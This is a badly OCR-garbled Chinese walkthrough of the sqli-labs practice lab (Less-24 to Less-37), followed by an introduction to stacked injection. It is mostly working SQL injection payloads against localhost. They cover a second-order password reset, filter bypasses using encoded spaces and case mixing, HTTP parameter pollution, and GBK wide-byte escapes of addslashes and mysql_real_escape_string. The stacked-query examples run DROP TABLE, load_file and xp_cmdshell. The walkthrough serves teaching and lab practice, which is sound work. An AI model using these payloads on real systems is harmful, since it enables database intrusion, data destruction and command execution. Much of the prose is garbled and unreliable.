4, R % ume W B BRI —/MERE B G, N T AENZIE R, RS i B A
W A R (5 B IR, T 58 B R AR 58— s SR HR A IE 1) sQL 15 A1) B i 2 7E R

5 IR AT
5. Ak 55 iR [ AT (R AL B2 RO 5 8, A AT LIS R [a] A 4 SRS 45 S A — i
NIRIR A A A2 75 R o

BB TR RATHD B M — A admin’#fIK 5, T REFZKS B TBSCENE . LR
& B 2 admin FIZERS,

Sql & fJ 4% &) UPDATE users SET passwd="New_Pass" WHERE username ='  admin' # ' AND
password=" , 5k /& 1T T UPDATE users SET passwd="New_ Pass" WHERE username ='
admin'

RN -

(1) WIsaHE N
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o = 353 @ il 5 stupid 1
o BE = 5H @ M 6 superman |1
& EE 55 @M 7 batman |1
o =iE ¥ 53 @ Mk 8 admin 111
& BE =5 @Bk 9 adminl |1
o e # 55 @ Mk 10 admin2z |1
& BE 3 =3 @ Bk 11 admin3 1
o =E = 55 @ MEE 12 dhakkan |1
| 7 FE 354 @ MEx 14 | admind |1
=i % =5 @ Mk 15 test test

(2) VFEM admin’#ilk =

Less-24

Desired Username:
Password: _
Retype Password: m

(3) JEEUCR (2 P BT admin’# I, AR admin 25050 111

o FiE =4 @ W 8 admin 111
o FE 2 =H @B 9 adminl |1
o == 545 @ Wk 10 admin2 1
& i F 53 @ Bk 11 | admin3 1

EE 55 @ # 12 dhakkan |1

| e X =

o e R 54 @8 14 admind 1
| o7& % 55 @ MR 15 test test
o = Fc =3 @ Mk 24 admin'® | 123456
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YOU ARE LOGGED IN AS

admin'#

You can Change your password here.

Current Password:
New Password: TN
Retype Password: EXITIIIEGG

(5) A[LLE E| admin FE8S CEEHCH Icamry

| 8 55 @ Mk 6 superman 1
o BE 3= 5% @MW 7| batman |1

1||+
il
Ligtd
mns+
il

& admin lcamny

L

o7 BE i EH admin

o Fmm # =5 @ #E: 10 admin2 |1

& e $ =4 @ Bk 11 admin3 1

o == #= 54 @ W 12 dhakkan (1

o FE ¥ 54 @ Mk 14 | admind 1

o = Fc =3 @ Mk 15 test test

& R #55 @ Mk 24 admin'® | 123456

t O #2E B8 © M @ S

Less-25

AKEE N or and iILJE, WHTZT or Al and iF 3. — MEPEFRAE LT J LR L

(1) R/N5%JE Or,0R,0R

(2) %ifd, hex, urlencode

(3) WINERE/*or*/

(4) FIFHTFS and=&&  or=||

B R, AR DT .

KRR TTE (@) #H17.

AEEEN  or 2l

http://127.0.0.1/sqllib/Less-25/index.php?id=1'| | extractvalue(1,concat(0x7e,database()))--+
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Welcome

XPATH syntax error: '~security’

And 71
http://127.0.0.1/sqllib/Less-25/index.php?id=1&&1=1--+

Less-25a

AT 25 KHE sql iFAIHR T id, WA, RIS HEHR T RETEAAGE
FORFEAR LN 25 7R BIRA 2200 o BEALRENPIA T30 IERE AT ATEN

http://127.0.0.1/sqllib/Less-25a/?id=-1%20UNION%20select%201, @ @basedir,3%23

Welcome
Your Login name:c:/wamp/bin/mysql/mysql5.6.17
Your Password:3

WA ] &&KALHE and, or.
http://127.0.0.1/sqllib/Less-25a/?id=20] |1=1--+

127.00.1/sqllib/Less-25a/2id=20]|1=1--+ gEL ] S <Ctrlekes "8 ¥ A& - 8-S
Hitl B EEEE ) aiEses [ sl % @ 500 Internal Server ... Linux_rpm ACM @ HBREEE-EaE. [ EE @ URiRSE— . @ C++EEERES. @ SCigen - An Autor

sle & Cookiesr # €55+ [ Forms- [E Imagesw @ Information- [E Miscellaneous #” Outline &7 Resizew X Tools~ Bl View Source (] Options~

*| = & squ-| xss- Encryption- Encodings Other-

dURL |
it URL
2cute
Enable Post data [] Enable Referrer
BT - Servicess | [No information available]

Welcome
Your Login name:Dumb
Your Password:1

Less-26
TIPS : A FJ RS (R A 7E windows T JEvEAf F — SRS BR IO AP B 25, BRAb B apac
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he FIARNTE) IR AR, X BIFHE#EF] linux FE .
ARREES 25 %, B2, or, and, /*, #, —, /EZMFF 5L UE, AKX and, or FIALEETT
EAFER, 275 25, IATRAN TR VP T : X TR 45 B 77 i 3RA T Ak R REFI A
MiE—A 7 RAGFmR s T, ARZE:

%09  TAB % (UKD

%0a  FrEE—AT

%0c  HI—TT

%0d return HfE

%b  TAB % (EHE)

%0  TH&
26 5%, sql ¥E4)N SELECT * FROM users WHERE id="$id’” LIMIT 0, 1
PATE Helh h— BN L) payload:
http://127.0.0. 1/sqllib/Less—26/?id=1"%a0| |’ 1
Explain:’ %a0|| 1
A, FeATTEAL ) sql 154)4 SELECT * FROM users WHERE id="1" || ‘1’ LIMIT 0,1
FA ¢ BHEWA id= $id BHT , %0 REREE,  (ps: HAFRMIETZ ubun
tul4. O4+apache+mysql+php, 1] LLENT%a0, MAETTE windows+wamp MK, ASBEMENT%A0, A
SNBSS AT, O [FIES%0b & AT LUE IR, HAh SRS AT, | REE R,
LN THERTR .
R AT DA IE R ARE ), http://127.0.0. 1/sqllib/Less—26/21d=100%27union%0bselec
t%a01, 2, 3| [%271

http://127.0.0.1/sqllib/Less-26/?id=1"%]|'1

Enable Post data Enable Referrer

Services v

Welcome

Your Login name:2
Your Password:1

BN RAANETL G sql ERJEIA] . LRI THTTH AT/ AR AT [, o mT DUM R R
TEANFERENGETT BTN o X BERA AT —— R T .

Less-26a

XK 26 MIXAET, sql AN T — N ES, RN sql IBRHATI0H ARG I
AERT G I . A RATHER IR AR, X BAKIHAZ R union A
sql 1&4)A SELECT * FROM users WHERE id=( $id’) LIMIT 0,1
A THyid payload:
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http://127.0.0.1/sqllib/Less-26/?id=100'union%0Bselect%A01,2,3

Mysgl ¥E A -—-sglilabs--Icamry

http://127.0.0. 1/sqllib/Less—26a/21d=100 *)union%aOselect%a0l,2,3|| (" 1
explain: JEAfi 26 —2, FATEEA ) MAEFTIR, AEREEOHERENERR
. e fi C1 #HTHEE .

http://127.0.0.1/sqllib/Less—26a/?id=100" )union%a0select%a0l, user(), ( ‘3

http://127.0.0.1/sqllib/Less-26a/?id=100%27)union%a0select%a01,user(),(%6273

Enable Post data Enable Referrer

Services v

Welcome

Your Login name:root@localhost

Your Password:3

AR user O EHONIRIBELR sql 4] RG] AR HEREAN . fiRCaeag i 1,
HATHIE AT,

Less-27

AR FEEHZLZL union, select I 26 FITPEF T FF . BLALTRAVKIHAD 26 K17 &
—FER, HFEE union 1 select N K /NS VREG AT LLIERE .
~: 127.0.0.1/sqllib/Less-27/?id=100'unlon%a0SelEcT%a01,database(),3| | '1

RL | 127.0.0.1/sqllib/Less-27/?id=100'unlon%a0SelEcT%a01,databake(), 3|1
3L
e

Enable Post data Enable Referrer

v Services -

Welcome

Your Login name:security
Your Password:1

TIPS: uniunionon {2 AT DA BRI . 7 LA AL e ARV R A TR E TR
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http://127.0.0.1/sqllib/Less-26a/?id=100
h
http://127.0.0.1/sqllib/Less-26a/?id=100
h

Mysgl ¥E A -—-sglilabs--Icamry

127.0.0.1/sqlib/Less-27/2id=100'uniunionon%a0seLectf6a01,database(),3||'1

Enable Post data Enable Referrer

Services v

Welcome

Your Login name:security

Your Password:1

Less-27a
K d5 27 LR BILE T AT id FALER, X EFARE “, [FIB mysql BUAHRAS 27 i i 5T
T 5775 o

PTATRHE 27 K E#L H— R payload:

http://127.0.0.1/sqllib/Less-27a/?id=100 “%a0Unlon%a0SElecT%a01,user(),” 3

TIPs:X B i~ LA _E payload FATHIAH &G 3 BRI« H/EHE1 “ 4GHEE. 83 IR0 LA
MUVARTRI 754 Luser(),3 || “1, [FIBSARSEH] DLA AE BN B AT

Less-28

KRRERNEG 27 KIEAKKMZERE, FATEHES L — payload:
http://127.0.0.1/sqllib/Less-28/?id=100")union%a0select(1),(user()),(3) | | ('1

Enable Post data Enable Referrer

Services

Welcome

Your Login name:root@localhost
Your Password:1

Less-28a

AR 28 FA—E, HEIIEFKMFD T I
http://127.0.0.1/sqllib/Less-28a/?id=100%27)unlon%0bsElect%0b1,@ @basedir,3| | (%271
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http://127.0.0.1/sqllib/Less-27a/?id=100
h
http://127.0.0.1/sqllib/Less-28/?id=100')union%A0select(1),(user()),(3
http://127.0.0.1/sqllib/Less-28/?id=100')union%A0select(1),(user()),(3
http://127.0.0.1/sqllib/Less-28/?id=100')union%A0select(1),(user()),(3
http://127.0.0.1/sqllib/Less-28a/?id=100')unIon%0BsElect%0B1,@@basedir,3

Mysgl ¥E A -—-sglilabs--Icamry

REFT v Services v

Welcome

Your Login name:/usr
Your Password:1

L e ——
http://127.0.0.1/sqllib/Less-27a/?id=100%22%a0Unlon%a0SElecT%a01,user(),%223|
e

Enable Post data Enable Referrer

v  Services -

Welcome
Your Login name:root@localhost
Your Password:3

SERIES-;

Background-6 fk%=F (RE) 34

BB 29,30,31 iX = FEAE I«

ERminniRSEE ;
K

tomcat apache

fRS525ln

IR 55 & A A7 B —EB 22N tomceat A5 B jsp IRk 5 4%, 55 B9 ) apache
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Mysgl ¥E A -—-sglilabs--Icamry

NG php HR%S 45, HIESE web IS5 12 php ik55 2% . TARREEA: client U5 ] 5545,
Ae EL 217 10 | tomcat IlR55 4%, SRS tomcat 55 25 FIA] apache Il 55 #4315 SR E0H o £idis ik [\
PRARIUAH o

PEAL TR A 2H — TR BRI 2 . A5E°8 ubuntu14.04, Ak DAFRIE 3R 5E 1,
FATFE R =400 tomeat AR5 25. jdk. mysql-connector-java. 73 Al %23, AL BT =
jdk 2235 5 3 export #1548 &, mysql-connector-java 75 Z 45 jar SCHEHI B jdk HIAESE H .
% TR K tomcat-files.zip fift & 2| tomcat il 55 %% webapp/ROOT Hig &, ILANTE E UL 2T
EUEDORARAS H IER IR 2 FD mysql FH P 4 %05, 20X BLBATE AT DLE R U5 29-32 K T .

4 index.php?id=1&id=2, VRAHE B B id=1 FIEHHE & BoR id=2 )2

Explain: apache (php) fEtTi/a— N4, R R id=2 INE. Tomcat (jsp) fF#HTER
—ANSH, BER id=1 2.

WebfR3528 SHGRANAR FAEIRSH

PHP/Apache $_GET( "par" ) Last

JSP/Tomcat Request.getParameter( “par® ) First

Perl(CGI)/Apache Param( “par" ) First

Python/Apache getvalue( "par” ) All (List)

ASP/IIS Request.QueryString( “par” ) All (comma-delimited string)

PL BB R AR BRSS A5 T S5 I 4

HALFRATTAE— AN R index.jspRid=1&id=2 &K, E1XT 58— 5K K F 1 AR 55 25 Tic B 5 0
& iy SR 1 Jaid tomeat, tomcat AT — NS4, 2 FOK tomcat 223K apache (php)
5545, apache fENTE G — NS5, HNE IR 155 7 v I L 1% A2 RS 2400 ?

Answer: BEALRIZIE id=2 TN, NOARE]_E3EAEAR S5 102 apache (php) AR%5 4%,
IR B O B %2 apache A0 ER AR . TEFRATSLPR R H S, 2 A E RS2 15,
IR A BIX M ? RN EAETE tomceat AR 55 28 A B L pE A AL EE,  DhaeR il —
A WAF, T IEF AT SE00 A, FRATHAR T CARI % 5 B Seit WAF PRSI 1% FH vl
& HPP (HTTP Parameter Pollution) , http 245§« Wi ) — MR . HPP RIXY 5 2 A1 %
J i R B % 12 i — R B

Less-29

B % B T tomeat 111 index.jsp X1
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Mysgl ¥E A -—-sglilabs--Icamry

String id = request.getParameter (2ig") ;
String gs = request.getQueryString();
if(id!=null)
- if (1d!=E8)
try Fftomcath) S50 HATE, it TE— 28
q String rex = ZA\Nd+s": / i%;?ﬁpache (php)

i

Boolean match=id.matches (rex); BT
if (match == true) /
. URL sgli_labs = new URL(Mhttp: hp2"+

= localhost/sqli-labs/Less—29/index. as) ;
URLConnection sqgli_labs_connection = sqli_labs.openConnection();
BufferedReader in = new BufferedReader(

£ apache [f] index.php 11, sql i&f)N
Ssql="SELECT * FROM users WHERE id='Sid' LIMIT 0,1";

Rl FRATTAR B HPP 11538,  FRATTEL#E payload:
http://127.0.0.1:8080/sqli-labs/Less-29/index.jsp?id=1&id=-2%27union%20select%201,user(),3--

+

29/index.jsp?id=1&id=-2"union select 1,u: ¥ &) |®‘ Search B @ ¥ A& © &~ b v w {

127.0.0.1:8080/5qli-lab

SERE [@EEE—T, FanE Elamy- 2R Lfiftv WiTv Lfqv LaigeaEi v wblogs v WBREE Y wwebBE2 v LFEE Y LREET v WserverR2 v [uict
Jisable v L Cookies ¥ , Css¥ [JForms¥ [Eimages ¥ @ Information¥ [ Miscellaneous ¥ # Outline v . Resize v X Tools ¥ [ View Source ¥ |1/Options ¥

[TCRAFT W Services ¥

Welcome

Your Login name:root@localhost
Your Password:3

EFIEARIHARKA R, R EE CHIE union JETHYT sql THAJEITT .

Less-30

Less-30 5 less-29 JGiFf & —F [, AT LLE 2 less-30 H sql iEH) N :

$9s = $_SERVER['QL
shint=5%gs;
gid = '"' .5id. 'm'; -«

oAb afidistdT T 4 3E

// connectivi

ssql="

Sracn]lt—mre~l Mmiawer iScrrl )l -

fit LA payload y:
http://127.0.0.1:8080/sqli-labs/Less-30/index.jsp?id=1&id=-2"union%20select%201,user(),3--+

e &8 c|® 2 %8 @ + & © ©~ &~ G |
EEfliz B EE—T, FiEl Elamy- BERE Gifittv GHIT v @fqgv @a#a2E{ v [Eblogs > EREE v Gweb%Ee v LB v LAESFH v [@server®£ v [Qict

sblew X Cookies¥ » CSS¥ [JForms¥ [images¥ @ Information¥ [ Miscellaneous v /# Outlinew ’Resize ¥  {Tools v [@View Source ¥ [n]/Options ¥

D | 127.0.0.1:8080/sqliabs/Less-30/in

RAFT W Services v

Welcome

Your Login name:ro

Your Password:3

SERIES-30
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http://127.0.0.1:8080/sqli-labs/Less-29/index.jsp?id=1&id=-2%27union%20select%201,user(),3--+
http://127.0.0.1:8080/sqli-labs/Less-29/index.jsp?id=1&id=-2%27union%20select%201,user(),3--+
http://127.0.0.1:8080/sqli-labs/Less-29/index.jsp?id=1&id=-2%27union%20select%201,user(),3--+

Mysgl ¥E A -—-sglilabs--Icamry

Less-31

Less-31 5 B /M1 107 e —FER, FRATEEZE 3 less-31 1 sql 1EH:

55 = 5 SERVER['QUERY STRING'];

shint=$gs; "H Ak I8

sid = ""T.gid. T, <du—

() HyAbEE

/ connectivity /

$5gql="SELECT * FROM users WHERE id= ($id) LIMIT 0,1";

Sresult=mysql query(5sqgl);

s5ro

¢ | @ [Q search %8 © 3 A © ©~ o~ g
SEEEE @ HE—T, Rl Ellamry- BER LiEF v WHI v @fg> GAf#e2t~ (Gblogs v SRAE v Gweb®L v LEEE v LABFH v [wserver®s v

sisable v X Cookies ¥ »# €S5¥ [JForms¥ i&images ¥ @@ Information > [ Miscellaneous ¥ # Outline ¥ " Resize ¥  {Tools v @ ViewSource v |n|Options ¥

WCREFT W Services ¥

Welcome

Your Login name:root@localhost

Your Password:3

B4 WA E=50, BT IR A FR S S0 TS E AR LL B, HPP N A
M2, AMUGEIEAT LRI WAF —ANJ7 T, 38 T UAHAT R 84, W AT AR
YRS [AIIF B0 WAF iIGeId, BA X BB A BOR IRE 51 £, Je 8L IAR 2 10 < HPP 7 i
i AL A LT X —ANE T 1A .

Background-7 FEFEHEAN

Less-32,33,34,35,36,37 7N KA ANI I 38, o DAFRATBHE — &R AT 378
X B AT E N[ 22 BZ X LRI bypass 77 2N % ELEE 7. FRATELA B — R 98775
TN J BRI A FH ¥
JREE: mysql 7E15F GBK 4mii Il 5, YN ERF A —MNF, Blin%aa%sc Hie—1
W (HT—A ascii i KT 128 A RERI FZHIVEED « FRAVELYE © BIHE, AR K E
PN S v (R R EECE IR SR OB R IRHEA 4D .
R AT IR AR 0200« BTN \ B, — oA Pl a k.
1. %df 23\ BAKHIERE urlencode(\) = %5c%27, FRATIE%5c%27 R A IN%df,
F%df%5c¢%27, 1 _E TR EI mysql 76 GBK 4 fid J7 2 B it 206 5 AN 7735 Al — AN,
F%df%5c BE—ME, %27 WVEN—AS B RFSAEANE, [FIRHEH0A R T AT E 1.
2« K\ Y\ LR, AT DI %**%5c%5c%27 FITE L, J5 TH iR1%5¢ 28 AT ) %5c
EVER R X2 bypass H—Fh k.
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http://127.0.0.1:8080/sqli-labs/Less-31/index.jsp?id=1&id=-2%22)union%20select%201,user(),3--+
http://127.0.0.1:8080/sqli-labs/Less-31/index.jsp?id=1&id=-2%22)union%20select%201,user(),3--+

Mysgl ¥E A -—-sglilabs--Icamry

Less-32

FIH L@ REE, FRATAT LLEE T2 payload 4:
http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27union%20select%201,user(),3--+

127.0.0.1/sqli-labs/Less-32/7id=1%dF%27union%20select%201,user() 2 | @ |2 search B @ +# &# © @~ a>2EO
Hiz @ EE—T, et Elamry- B8R St~ @i T v @fqv [@aEeEk v @blogs v @iAE v [Eweb® 2 v [WHERE v EREBET v [EserverEe v [Gctf

blew & Cookies ¥ » C55¥ [JForms¥ [m/images ¥ @ Information¥ [5] Miscellaneous v .~ Outline¥ " Resize ¥ < Tools ¥ @ View Source ¥ |1|Options ¥

UFT ¥ Services ¥

Welcome
Your Login na ycalhost
our

ATUER], BAGEE TR R e BN R MRS HEAT R

‘ function check_addslashes(Sstrinq)
gt

$string = preg_replace('/'. preg_quote('\\') .'/', " ", $string);
Sstring = preg_replace(' iry T 'Y, S$string); /

' vith a backslash
Sstring = preg_replace( il nn Sstring)y

return Sstring;
P

FRRECONEE O\ MREL K AN, B\ B\ K BN V. Bl
AL FRATTH B8 FE background HH SR — AN EEE, IRII—1%df f5, K %5c Pz PRI AT,

M input HEX AT LAE S| dfsc27  , HARCZH dfsc BERE —NFERH T .

Less-33

ARIFAN L —KH) payload & —FEH
http://127.0.0.1/sqli-labs/Less-33/?id=-1%df%27union%20select%201,user(),3--+
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http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27union%20select%201,user(),3--+
http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27union%20select%201,user(),3--+
http://127.0.0.1/sqli-labs/Less-33/?id=-1%df%27union%20select%201,user(),3--+

Mysgl ¥E A -—-sglilabs--Icamry

7 127.0.0.1/5ql-labs/Less33/7id=1%dF%27union%20select%201,user() &M ¢ | @ [Q search [#e © + &# © ¢~ ul~ Q@
Bi @ EE— T, el Ellamry-HER L4~ GHI v Wfqv WAHaE v [Gblogs ¥ LlAE > Wweb®2 v LBEY v LRBFH v Wserver®2 » Lct

lew L Cookies¥ , CSS¥ [JJForms¥ [&images ¥ @ Information¥ [ Miscellanecus ¥ 7 Outline¥ . Resize ¥ £ Tools¥ |@View Source ¥ [l Options ¥

7w Services ¥

Welcome
Your Login n

MIEAHS AT LA 3«

function check_addslashesKSStringJ
11
Sstring= addslashes (Sstring);
return Sstring;

B AL 45 FH BR % addslashes()

addslashes() B 50 B4 TUE S RF2 RIVR AR AT 1015 R4«

TE LT A
. BEE ()
o XIIE (M

o RML (D
$eoR: RO F T DA AR AR RO 2 TP AT A DL R R R AT R
Addslashes() B8 BRI A TLE 32 SRSLILAI D REFEA — BT, it ABRATK TH AT BRI I 9%df i3E4T 4%

i,
Notice: f#F addslashes(), 417 22Kt mysql_query BB N binary 17730, A RER 1 IR -

Mysql_query(“SET
character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,Sconn);

Less-34

AR KA post BHNENIRIA, FEFEHIHZNRE post TRIA AT T\ MIALEE. B L5
F0T AE BIBRATH 7120 B i 8 pR s N \ 50z, 1 get 27 BRATTZ LA url JER
PEAZH, DRI 2> i8id URLencode, WK 7 VERIAE post BN, FRATTEAE 40
— AN B utf-8 By utf-16 BE utf-32, BlULk oA utt-16 o @0 o FRATEL
A PAR A I AN 77 A7 224

AT T3 e 5 S (1477 AR RABIX — K
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127.0.0.1 abs/Less-34/%id=-1%dF%27union%20sele &l c | @ |Q searc wB 934 a2 v n-ri
BiE B EE—T, rataH Elcamry- EE WiEt Yy Wi v LWfqv LEiEsE{t ¥ [wblogs ¥ WilAE Y wwebZ2 v LUWHE Y LRBFH ¥ luserver®2

IFT w Services¥

Welcome

Username : | @'or 1=1%

Password : | tes(]

submit

BN EE A B username: € 7 or 1=1#
Password: PE{EELIE

Welcome

~ Submit |

A LA 3N T 2o ISR

JEURI sal THA]

@$sql="SELECT username, password FROM users WHERE username=" $uname’
and password=" $passwd’ LIMIT 0,17;

R} sql 1EA)H

SELECT username, password FROM users WHERE username=" € ' or 1=1# and
password="$passwd’ LIMIT O, 1

Explain: SELECT username, password FROM users WHERE username= @’ or 1=1

BRI, Ja TR R 1 TR RITE R AL select IEFEHIRTA
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Mysgl ¥E A -—-sglilabs--Icamry

BRA A5 121347 or BfF)R, 642 1.

Less-35

35 KA 33 K2 REUK—FER), ME—HIXAIET sql B HIAE

Ssql="SELECT * FROM users WHERE id=Sid LIMIT 0,1";

DA id B 1 “FF S EdE Ak, RRATHIA 1 225 18 check_addslashes() s £ &
X7, HEHA payload:
http://127.0.0.1/sqli-labs/Less-35/?id=-1%20%20union%20select%201,user(),3--+

D 127.0.0.1/sali-abs/Less-35/7id=1 unionselect 1,user()3-+ &0 ¢ | @ [ search |#ea @ ¢+ 4 © O~ n~ &
B @ EE—F, R Ellamry- HEE WiEM Y GHT v Wfqv [SiEe2X v [Gblogs v LBEE v (Gweb®£ v LEEE v LREDEH v Wserver®e v
sablew X Cookies¥ » CS5¥ [IForms¥ [Eimages™ @ Information™ [ Miscellaneous ¥ 7 Outline ™ 4 Resize ¥ ;X Tools ¥ @ ViewSource ¥ |0 Options ¥

CRAFT W Services v

Welcome
Your Login nam
Your Pas

Less-36

ATEREE 2 36 K HIIEARY

function check quotes($ string)

Sstring= mysqgl real escape string(Sstring):
return $string;

2
L THIT¥ check_quotes() BRI EUZFI A T mysql_real_escape_string() A £t 47 i 3
mysql_real_escape_string() PREUHL X sQL EA) i FH )25 5 R R IR A o

R dEas-AlF

e \x00
e \n

e \r
e\
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http://127.0.0.1/sqli-labs/Less-35/?id=-1%20%20union%20select%201,user(),3--+

Mysgl ¥E A -—-sglilabs--Icamry

e \xla
WD, W R EOR B3 3 U7/ e . iR g, MR [E] false.

{H A mysql FAT1FE 354 B Ak gbk, LA mysql_real_escape_string()1K |H REWE 1 57 . 7%
b A —FER .

Payload:
http://127.0.0.1/sqli-labs/Less-36/?id=-1%EF%BF%BD%27union%20select%201,user(),3--+
127.0.0.1/sqli-labs/Less-36/?id=-14funion select 1,user(),3—+ o0 ‘@ |:775:_‘:; ch 7 *BH O ¥ A4 © @~ 1~ E

SEEIE @ EE—T, Ml Elamy-HEE LiFEG v LT~ Wiqv WAkeE({t v Wblogs v WEAE Y WwebR2 v LEEY v WAEET v Wserver®2 v [Lic
Jisable ¥ J, Cookies ¥  CS5¥ [JForms¥ [&images¥ @ Information¥ [ Miscellaneous ¥ # Outline v ,”Resize ¥ < Tools ¥ @ ViewSource ¥ [n|Options ¥

[TCRAFT W Services ¥

Welcome
Your Login nan d alhost

Hint: Th
The Query String you input in

EAATRIP 1 utf-16 AT, AT AT LR H%df 317
Payload:
http://127.0.0.1/sqli-labs/Less-36/?id=-1%df%27union%20select%201,user(),3--+

e @ 3 &# © @~ o~ @@
ERE EEE—T. o Elemy-B2E Wil WiTv Wiy Wiy lublogs v LWEEEY LwebZ2 v LBEY Y LABFH v userver®2 ¥ uct

sable ¥ & Cookies ¥ » CSS¥ [JForms¥ [lmages¥ @ Information¥ (& Miscellaneous ¥ ./ Outline¥ o Resize ¥ K Tools ¥ @ View Source ¥ [/ Options ¥

ERAFT' w Services ¥

Hint:
The Query String you input in

Notice:
7EA# H mysql_real_escape_string()i, el BE 05 22 4= [P B4 X Fh i) @, 75 224 mysql BN
gbk B ],

wEAD:
Mysql_set_charset(‘gbk’’Sconn’)
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http://127.0.0.1/sqli-labs/Less-36/?id=-1%EF%BF%BD%27union%20select%201,user(),3--+
http://127.0.0.1/sqli-labs/Less-36/?id=-1%df%27union%20select%201,user(),3--+

Mysql 8 A\ ---sqlilabs---Icamry

Less-37

ARKE 34 RARBARLIA, XATET AH post N 25 HI/& mysql_real_escape_string()
PREL, TANSE addslashes()ER %, (HE2FRHEE—EHNK, LEBMCEHdEET, XHEH
ANHATHER T .

PAVKIARIFH 77 R 25 RS 1 SRR AT 9

RANHNTEFTR:

E 127.0.0.1/sqli-labs/Less-37/ 0 @ |2 search B @ ¥ & © v v @
EEHE EEE—T, Fa0E Elamy- HEE Wift v WHI v @fqv @iEeE{ v WhlogsY WRAEY wwebBT2 v GFBEY WREFH v [wserver?g

Disable v XL Cookies v » €S5¥ [JForms¥ [&images ¥ @ Information¥ [ Miscellaneous *  Outline ¥ 4" Resize ¥ {Tools ¥ @ View Source ¥ |1 Options ¥

|ETCRAFT ¥ Services ¥

Welcome

Username : | $'or 1=1%

Password : ||

submit |

&) @ | 127.0.0.1/sqli-labs/Less-37/ @0 ¢ | ® |2 search B 9 ¥ & O O 8-
AERE EEE—T, ME0E Elamry - BE8 Wit v Wi T v Wiqv WiikeZE{ v ldblogs ¥ WAE Y LwebBL v LWBRE Y LWAEEH ¥ wserverk
Disable v L Cookies¥  CSS¥ [JForms¥ [Eimages ¥ @ Information¥ [ Miscellaneous ¥ # Outline ¥  Resize ¥ X Tools¥ B View Source ¥ (1| Options ¥

[ETCREFT ¥ Services ¥

Welcome

Submit |

A LLE WL RERS 1E W 6 il o
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Summary:

M BT LGS, RS — T8 \ % =M 05 2 B replace,
addslashes(),mysql_real_escape_string(). = /7 UK FE— A eREe A aesE &R, Fr
CAFRATITE 2 ‘S ARG 1A B8 75 225 R I S A4l o [RIBAE IR AR A, AL tH =R B
H, MEFMETRCEHE T, XEHARRT .

B =397 /page-3 Stacked injection

Background-8 stacked injection

Stacked injections: (& VEN . MR IS AT LLE BN Z AR —HE sql 1EF) (£2%) —til
1T. M7EESERE A2 XFER, BATFNELE mysql B, FEERZMASITH, B —KiEA4%
B, R\ ER ., XFERMSAR T RAZ L2 — M H. XN stacked

injection.
0x01 JRIEAH

fEsaL, 5 G) RARER—% sql IFA IS A ol — N RAE ; 45H—4 sal
TR IREERIE T — 2608, 2 A S —BHAT? IR EE ISRt 1 HE B 11 union
injection B A VE AN D A P 25 TE ) & IFAE — &, I Z A AT AKX A A7 XAIBAET union
5 union all AT AYTE AJRALR A R A, AT ELHISRSAT EWTER), THESE AN AT BLIAT 12
EERIEA.

AN A5

F P

1; DELETE FROM products

IR 28 AL R sql BRI N:  (RIRSF AN IS BT 98)
Select * from products where productid=1;DELETE FROM products

HPATEWE, B FERERGEE, B RN EAREAT MR

0x02 HEBEN KR PR

HEBTEN IR PRAELE T IFAZ AR IABE T #AT LLRAT » AT REAZ 2 API B0 Hodfa o 5 5
SRR, 48R T ABRAN 2t m] AR 9 4 il 2 ok A8 et ol A — LR 5

by MySQL for other API}.

Oracle/Any API - Not supported.
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Mysgl ¥E A -—-sglilabs--Icamry

Ps: JLERE MR SC I SR, RO NBIAIA S php+mysql, 2R DIATHI, Bt
AEXTT mysql/php FAERFUSE . (BN AATH BRSO 7T e 5 BRATRRCA AN [F] R SR A
EIRPATRT T P22 1 HE S AW AT SATAEER sql 165, HRRZRMIEANTT AR+
MI5EEH . ERATH web RGeH, BOUAIDIE S HR E— N EHEIR, Bk, HESENE
TAMBER AR R B 25 R R BRI RN ,  BRATIAE i B I R TC I Bk [ 4 R o
Rk, 7ESLBCEERT, FRATEBE union (BEA) N [FIR7EAE A HEBIE N Z 0T,
FATHE AR T ZH0TE — LB A O B, RS, IR E R

0x03 ™44 B LI 4

ARATERATIE BRI P R, A28 LA SR AR e (AR G R i i P (R 2 A1
IR 0. DL 51 Bl 2R MR S HE B NS AR
Mysql 38

(1) FHE—1F select * from users where id=1;create table test like users;

5 rows in set (0.14 sec)

mysql> o

(2) MRE T AR test % select * from users where id=1;drop table test;
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sec)

0K, D rows affected (0.19 =

> show table

u
b g

1 | Dumb
B b
row in set

In#SCHE  select * from users where id=1;select load_file('c:/tmpupbbn.php');
tmpupbbn.php');

Toad_file('c: /tmpupbbn.php')
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(4) B select * from users where id=1;insert into users(id,username,password)
values('100','new','new');

(id,username,password) va

i |
Fi
2
3
4
5
2

=]

E
10
11
12
14
15
24

100

Sql server HIE &

(1) INEHE 2 select * from test;create table sc3(ss CHAR(8));

WIN-20HOGCISNHE\...- SQLQueryl.sql™ | B - X
select = from test;create table sc3(ss CHAR(8)): nl
« I 3
[ %8 [
id name  age
1 1 i Nzhang 16
P 13

3 3 Pwsng 25

(@ EES-  WIN-20MIGCTSFHEASQLEXPRESS (3.0 SP3)  WIN-20HOGCTSWHE\capsheaf (52)  test 00:00:00 3 {T
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(2) MIEEEHEE select * from test;drop table sc3;
' WIN-20HOGCISNHE\..- SQLQueryLsql* | =]

select * from test;drop table 333:|

m

I b 1X

m

. i.d- ] name age .

16
2 2 M 19
3 3 Pwang 25

@ AR WIN-20HOGCISNHE\SQLEXFRESS (9.0 SE3) WIN-Z0HOGCIZHHE  capsheaf (52)

(3) & HE select 1,2,3;select * from test;

EEE YT

(EElE) e

test 00:00:00 3 4T

[ 1 i 2 3
E id name age j
[1 i1 iMzhang 16

2 2 Mi 19

[ 3 3 Pwang 25

(4) 1BMEHE select * from test;update test set name="test' where id=3;
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_WIN-20HOGCISNHE\..- SQLQuery2.sql* |

4

;update test set name='test' where id=3;s

P

mn b

|>|_><

' WIN-20HOGCISNHE)\..- SQLQuery2.sql*|

41l

gelect * from test;al

id name
Nzhang
Mii

Pwang

age
16
19

L[}

sl

m

age
16

@ WIN-20HOGCISHHE\SALEXFRESS (9.0 5F3) WIN-20HOGCISHHE \capshesf (

(5) sqlserver H i A B B At FE I HAT

select * from test where id=1;exec master..xp_cm

dshell 'ipconfig'

;2 W 5 et

_WIN-20HOGCISNHE\...- SQLQuery2.5ql" | WIN-20HOGCI3NHE\...- SQLQuerylsql® | iE=]

< | i

select = from test where id=l;exec master..xp cmdshell 'ipconfig'l

0 4% |5 Es

id name age
16

MNzhang

output
ENULL

Windows IP FiE

MULL

MWULL

LA pdiEE S TihEE:

MULL
EBEERIONS 5.
